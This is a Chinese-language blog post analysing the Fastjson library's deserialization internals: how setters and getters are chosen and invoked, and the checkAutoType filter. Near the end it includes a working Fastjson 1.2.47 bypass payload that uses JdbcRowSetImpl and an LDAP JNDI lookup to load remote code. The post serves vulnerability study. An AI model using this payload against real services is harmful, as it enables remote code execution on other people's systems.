Java反序列化Fastjson篇05-写给自己看的一些源码深入分析
Drunkbaby Lv6

写给自己看的 Fastjson 源码深入分析

Java 反序列化 Fastjson 篇 05-写给自己看的一些源码深入分析

0x01 前言

写这篇文章的目的是在学习 SnakeYaml 的时候发现自己的 Fastjson 功底并不牢固,很多地方只是学习了其他师傅的文章,而自己并未进行源码阅读,想起来也是非常惭愧……趁着这个机会自己好好过一遍。

0x02 Fastjson 原理浅析

Fastjson反序列化采用两个反序列化的方法,它们分别是

JSON.parseObject()
JSON.parse()

parseObject:返回 fastjson.JSONObject

parse :返回我们的类 User

可以发现在都是默认输入的情况下,parseObject 会返回 parseObject,parse 则会返回我们的 Student 类

但是我们可以通过在 parseObject 参数中传入类,从而达到和 parse 相同的效果

parseObject(input,Object.class) (这里同样可以传入 Student.class), 发现此时也变成了 Student 类

这里我们深入看一下 JSON 类里面的 parseObject 和 parse 方法

  • 可以看到此处,parse 方法和 parseObject 方法被重写了很多,我们挑一些使用到的方法看一看。因为参数都是大同小异。

parse 方法解析

1
2
3
4
5
6
7
8
public static Object parse(String text, Feature... features) {  
int featureValues = DEFAULT_PARSER_FEATURE;
for (Feature feature : features) {
featureValues = Feature.config(featureValues, feature, true);
}

return parse(text, featureValues);
}

传入两个参数,一个是 String text,这是我们要拿去反序列化解析的字符串。另外一个参数是 Feature,Feature 并没有什么特别大的用处,如果没有选择该 Feature,那么在反序列的过程中,FastJson 会自动把下划线命名的 Json 字符串转化到驼峰式命名的 Java 对象字段中。

在自己调试打断点的过程当中,发现 DefaultJSONParser#parseObject 里面有一个 TypeUtils.loadClass(),一直想不起来在哪条链子里面见到过,如果有见到过的师傅请提醒一下我;总感觉这里有点攻击隐患的味道在。

这里我自己调试了一遍代码,发现有的东西和  Mi1k7ea 师傅讲的似乎有些许区别。

我在调试的时候发现 parse() 方法的反序列化实际上也是去到了 DefaultJSONParser#parseObject 里面。而 Mi1k7ea 师傅的意思是,调用 parseObject() 方法的时候实际上是调用了 parse() 方法,其实明显不是这样。两者都会走到 DefaultJSONParser#parseObject

parseObject 方法解析

  • 比较重要的是第二个参数,也就是要求我们传入 Object.class,或者说,对于很多开发者,为了省事儿,会在第二个参数传入 Object.class

具体的就不再赘述了,在实际开发场景当中 parseObject() 用到的非常多,基本全部都是。下面我们详细看一看为什么 Fastjson 在反序列化的时候会自动调用 getter/setter,同时也再给自己过一遍 Fastjson 反序列化的流程。

为什么 Fastjson 在反序列化的时候会自动调用 getter/setter

断点下在 DefaultJSONParser#parseObject 下,因为前面的过程都是在互相调用,可以直接看这里的业务层。

开始调试,走到第 639 行这里,跟进一下 derializer.deserialze()deserialze() 方法做的业务比较特殊:如果传进来要解析的类是 Array 数组类,就直接进行 newInstance() 的实例化,并且将数组数据返回。

如果传进来的不是 Array 数组类,而是 Object 类,或是不可以反序列化的类,就会走到下一个业务方法的 parseObject() 里面。

继续往下跟,会走到新的 DefaultJSONParser#parseObject

这一个 DefaultJSONParser#parseObject 的业务流程是先做了一个基础的判断,判断是去判断 token 是否相同,关于 Fastjson Token 可以看这篇文章,因为这位师傅讲的非常清晰,我这里就不做自我总结了,这个东西看懂就可以。

https://blog.csdn.net/qq_45854465/article/details/120626835

继续往下,在 322 行这里的 TypeUtils.loadClass() 可以提一嘴,我之前一直觉得这个地方是有攻击潜力的,包括在下面也看到了 clazz.newInstance() 的代码,一度以为可以打。并且此处的config.getDefaultClassLoader() 我觉得是可控的,在问了 Y4tacker 爷之后,Y4 师傅说这里是没用的,因为只是实例化了一个类。

后续我找到了为啥看这个地方很眼熟,是因为 Fastjson 1.2.25 版本当中,把 TypeUtils.loadClass() 换成了 checkAutoType(),而 TypeUtils.loadClass() 的代码中是有逻辑问题的,因此可以造成些许绕过。

还有的是 1.2.47 的那个通杀 EXP,在 1.2.48 版本之前的 EXP 都是能够通过 TypeUtils.loadClass() 来绕过的,因为它能会把第一次 @type 的结果缓存到 Map 当中。

重新回到代码里面,DefaultJSONParser 类的 367 行,把 deserializer 的值拿出来,赋给 ObjectDeserializer deserializer,跟进一下

跟过来是一个方法,继续往下跟进具体的业务方法

前面都是做了很多数据处理,到第 461 行这里,跟进。

继续往下走,终于才能看到我们的主角登场了 JavaBeanInfo#build

JavaBeanInfo#build

JavaBeanInfo#build 先通过反射获取我们 @type 里面要去反序列化的那个类的一些基本信息。

继续往下走,里面有一个 for 循环,当中把 @type 类对应的 Methods 全部拿出来。

首先会遍历 methods 中所有的 method 方法,然后会经过四个判断,只要符合任意一个判断就会触发 continue 跳出当前循环,所以必须要满足下面列出来的五个方法才能顺利执行,否则就会跳出当前循环(ps:这里和代码中的判断要反一反)

  1. 方法名长度不能小于4
  2. 不能是静态方法
  3. 返回的类型必须是void 或者是自己本身
  4. 传入参数个数必须为1
  5. 方法开头必须是set

最后将可用的 setter 方法放到 fieldList 里面,如图

此时,在 fieldList 当中,我们有三个 FieldInfo,这也就是我们的三个 setter 方法。

下面我们来看 getter 方法是如何被获取到的,其实是大同小异。首先会遍历 methods 中的每个方法,同样的如果要顺利执行下去需要符合四个条件

  1. 方法名长度不小于4
  2. 不能是静态方法
  3. 方法名要 get 开头同时第四个字符串要大写
  4. 方法返回的类型必须继承自 Collection Map AtomicBoolean AtomicInteger AtomicLong
  5. 传入的参数个数需要为 0

同样的如果符合上面要求的就会添加到 FieldInfo 中,在我 Student 类里面,只有 gqetProperties 方法符合预期,所以只获取到了 getProperties 方法

最后返回 JavaBeanInfo,beanInfo 中会存放我们类中的各种信息

后续,在 JavaBeanDeserializer#deserialze 方法中,对 FieldInfo 进行循环遍历,将每一个可用的 setter 与 getter 方法拿出来,具体的触发流程是这样的:

第 593 行,fieldDeser.setValue(object, fieldValue);,跟进之后是反射调用方法的语句

  • 至此,分析过程全部结束

0x03 Fastjson 其他点解析(持续补充)

关于 Feature.SupportNonPublicField

由于该字段在fastjson1.2.22版本引入,所以只能影响1.2.22-1.2.24

在前面的Evil类中,可以发现我们的setter和getter方法是public的,但是如果有时候遇到private的情况我们就不能进行反序列化了,会返回 null

这时我们可以添加SerializerFeature.WriteClassName 参数,这样私有属性 _bytecodes_tfactory就会被fastjson正常反序列化了

关于 checkAutoType

  • 这其实是从 Fastjson 1.2.24 版本之后出来的修复点。

checkAutoType() 函数就是使用黑白名单的方式对反序列化的类型继续过滤,acceptList 为白名单(默认为空,可手动添加),denyList 为黑名单(默认不为空)。

默认情况下,autoTypeSupport 为 False,即先进行黑名单过滤,遍历 denyList,如果引入的库以 denyList 中某个 deny 开头,就会抛出异常,中断运行。

true: 先白名单过滤,匹配成功即可加载该类,否则再黑名单过滤
false: 先黑名单过滤,再白名单过滤,若白名单匹配上则直接加载该类,否则报错

0x04 Fastjson 多 @type 的通杀型 EXP 调试

起因还是因为 SnakeYaml 学习过程中发现的这个问题,当时只是跟着 Mi1k7ea 师傅过了一遍,并未进行分析,有点后悔,现在自己再重新回来复习一遍。

EXP

1
2
3
4
5
6
7
8
9
10
import com.alibaba.fastjson.JSON;

public class JdbcRowSetImplPoc {
public static void main(String[] argv){
String payload = "{\"a\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},"
+ "\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\","
+ "\"dataSourceName\":\"ldap://localhost:1389/Exploit\",\"autoCommit\":true}}";
JSON.parse(payload);
}
}

开始调试,用的 Fastjson 版本是 1.2.47 的;

简单说一下原理,具体的可以看 Java反序列化Fastjson篇03-Fastjson各版本绕过分析

在运行完毕后会返回一个 obj,这个 obj 里面是类名以及其对应的属性值,这个属性值会保存到 map 里面,如图

这个 map 放了原本的值,也就是我们说的缓存,可以通过 TypeUtils.getClassFromMapping() 来加载,太妙了,太妙了。我之前看 snakeYaml 也有类似的 map,但是并未进行操作,到时候可以看一看。

 评论